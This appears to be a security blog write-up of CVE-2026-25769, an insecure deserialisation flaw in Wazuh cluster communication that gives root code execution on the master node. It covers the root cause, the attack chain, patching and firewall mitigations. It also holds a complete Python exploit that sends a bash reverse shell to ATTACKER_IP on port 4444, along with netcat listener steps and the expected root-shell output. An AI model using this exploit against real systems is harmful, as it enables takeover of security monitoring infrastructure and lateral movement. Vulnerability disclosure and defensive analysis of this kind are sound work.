📋 Vulnerability Summary

Field Details
CVE ID CVE-2026-25769
Severity Critical
CVSS Score 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
Vendor Wazuh
Affected Software Wazuh v4.0 - v4.14.2
Patch Status Patched
Patch Date 2026-03-17

🔍 Technical Analysis

Wazuh is a free and open-source SIEM and XDR platform widely deployed across enterprises for threat prevention, detection, and response. In cluster mode, a master node coordinates one or more worker nodes over TCP port 1516, distributing workloads across large environments.

CVE-2026-25769 is a critical insecure deserialisation vulnerability in Wazuh’s cluster communication protocol. It allows an attacker who controls a worker node to send a crafted message that causes the master node to import and execute arbitrary Python code, with root privileges. Because the master implicitly trusts all messages from authenticated workers, no further privilege escalation is required once a worker is compromised.

Root Cause

The vulnerability exists in framework/wazuh/core/cluster/common.py in the as_wazuh_object() function (lines 1830–1866). This function is registered as the object_hook parameter in json.loads(), meaning every object deserialised from cluster messages passes through it.

When the function encounters a dictionary containing the __callable__ key, it reads the __module__ value directly from user-controlled input, calls import_module() to dynamically import the specified module, and then returns the resulting function reference for execution — all with no allowlist or validation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# framework/wazuh/core/cluster/common.py:1839-1848

def as_wazuh_object(dct: Dict):
    try:
        if '__callable__' in dct:
            encoded_callable = dct['__callable__']
            funcname = encoded_callable['__name__']
            if '__wazuh__' in encoded_callable:
                wazuh = Wazuh()
                return getattr(wazuh, funcname)
            else:
                qualname = encoded_callable['__qualname__'].split('.')
                classname = qualname[0] if len(qualname) > 1 else None
                module_path = encoded_callable['__module__']   # NO VALIDATION
                module = import_module(module_path)            # ARBITRARY IMPORT
                if classname is None:
                    return getattr(module, funcname)           # RETURNS ARBITRARY FUNCTION
                else:
                    return getattr(getattr(module, classname), funcname)

The deserialised function is then executed in framework/wazuh/core/cluster/dapi/dapi.py:

1
2
3
4
5
# Line 705: Deserialisation with vulnerable hook
request = json.loads(request, object_hook=c_common.as_wazuh_object)

# Line 248: Execution of deserialised function
data = f(**f_kwargs)  # f = subprocess.getoutput, f_kwargs = {"cmd": "COMMAND"}

An attacker can specify any Python module available on the system, subprocess, os, shutil, and any function within it. There is nothing preventing this.

Attack Vector

The complete attack chain requires the following conditions:

  1. The attacker has compromised a Wazuh worker node (via initial access, insider threat, or supply chain attack)
  2. The worker already has the shared Fernet key used for cluster encryption, stored in ossec.conf
  3. The attacker sends a malicious DAPI request via LocalClient.execute()
  4. The message is encrypted with the cluster key and sent over TCP to the master on port 1516
  5. The master’s APIRequestQueue.run() receives and deserialises the message
  6. as_wazuh_object() processes the __callable__ key, imports subprocess, and returns subprocess.getoutput
  7. DistributedAPI.run_local() calls subprocess.getoutput(cmd="...") as root
  8. The attacker’s command executes on the master node

Impact

Successful exploitation allows an attacker to execute arbitrary OS commands on the Wazuh master node as root. In a typical enterprise deployment this means:

  • Full compromise of the SIEM platform: the system designed to detect attacks is itself taken over
  • Access to all monitored endpoints: the master has agent keys and can push configuration to every connected agent
  • Lateral movement: root on the master provides a privileged pivot point into the rest of the network
  • Detection evasion: an attacker controlling the SIEM can suppress or delete their own alerts

🧪 Proof of Concept

This proof of concept is provided for educational purposes only. Only test against systems you own or have explicit permission to test.

The exploit runs from a compromised Wazuh worker node. It uses the worker’s existing LocalClient to send a crafted DAPI request to the master. The payload instructs the master to import subprocess and execute getoutput() with an attacker-controlled command, in this case, a bash reverse shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
import sys, json, asyncio, importlib.util

def load_module(path):
    spec = importlib.util.spec_from_file_location('m', path)
    m = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(m)
    return m

# Payload: Master will execute subprocess.getoutput(cmd="...")
# Replace ATTACKER_IP with your IP, you can change the port that follows if you want as well
PAYLOAD = {
    "f": {"__callable__": {"__name__": "getoutput", "__module__": "subprocess", "__qualname__": "getoutput"}},
    "f_kwargs": {"cmd": "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"},
    "request_type": "local_master"
}

async def main():
    lc = load_module('/var/ossec/framework/wazuh/core/cluster/local_client.py').LocalClient()
    await lc.start()
    print(f"Sending: {json.dumps(PAYLOAD)}")
    await lc.execute(command=b'dapi', data=json.dumps(PAYLOAD).encode())
    print("[*] Request sent. Check your listener for a shell.")

asyncio.run(main())

Environment Setup

This exploit requires access to a Wazuh worker node. The worker must be running Wazuh v4.0.0–v4.14.2 and connected to a master node running the same affected version.

1
2
3
4
5
6
7
8
9
# On your attacker machine start a netcat listener
nc -nvlp 4444

# Confirm you are on a worker node (not the master)
cat /var/ossec/etc/ossec.conf | grep "<node_type>"
# Should return: <node_type>worker</node_type>

# Confirm the vulnerable Wazuh version
/var/ossec/bin/wazuh-control info | grep version

Exploitation Steps

Walk through the exploitation steps one by one.

Step 1 — Start your listener

On your attacker machine, open a reverse shell listener:

1
nc -nvlp 4444

Step 2 — Copy the exploit to the worker node

1
2
3
# Save the PoC above as exploit.py on the worker
nano exploit.py
# Replace ATTACKER_IP with your listener IP

Step 3 — Run the exploit from the worker

1
python3 exploit.py

Step 4 — Receive the shell on the master

If successful, your netcat listener will receive a connection from the master node:

1
2
3
connection received on [MASTER_IP] XXXXX
bash: no job control in this shell
root@wazuh-master:/var/ossec/framework#

Expected Output

A root shell on the Wazuh master node, as shown in the GIF below.
2026-05-05_22-40-46

🛡️ Remediation

Patch

Wazuh released v4.14.3 on 2026-03-17 which adds a module allowlist to as_wazuh_object(), preventing arbitrary module imports during deserialisation. Update all cluster nodes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Check current version
/var/ossec/bin/wazuh-control info | grep version

# Update via package manager (Debian/Ubuntu)
apt-get update && apt-get install wazuh-manager

# Update via package manager (RHEL/CentOS)
yum update wazuh-manager

# Restart after update
systemctl restart wazuh-manager

# Verify the updated version
/var/ossec/bin/wazuh-control info | grep version

Mitigations

If immediate patching is not possible:

  • Restrict network access to port 1516: limit which hosts can reach the master’s cluster port using firewall rules. Only known worker node IPs should be permitted.
    1
    2
    3
    
    Allow only known worker nodes to reach port 1516
    iptables -A INPUT -p tcp --dport 1516 -s WORKER_IP -j ACCEPT
    iptables -A INPUT -p tcp --dport 1516 -j DROP
    
  • Harden worker nodes: since the attack originates from a compromised worker, reducing the attack surface on workers limits the blast radius. Apply principle of least privilege and monitor worker nodes for signs of compromise.
  • Monitor cluster traffic: alert on unexpected connections to port 1516 from hosts that are not registered worker nodes.

Restricting port 1516 access does not eliminate the vulnerability but significantly raises the bar for exploitation.

📚 References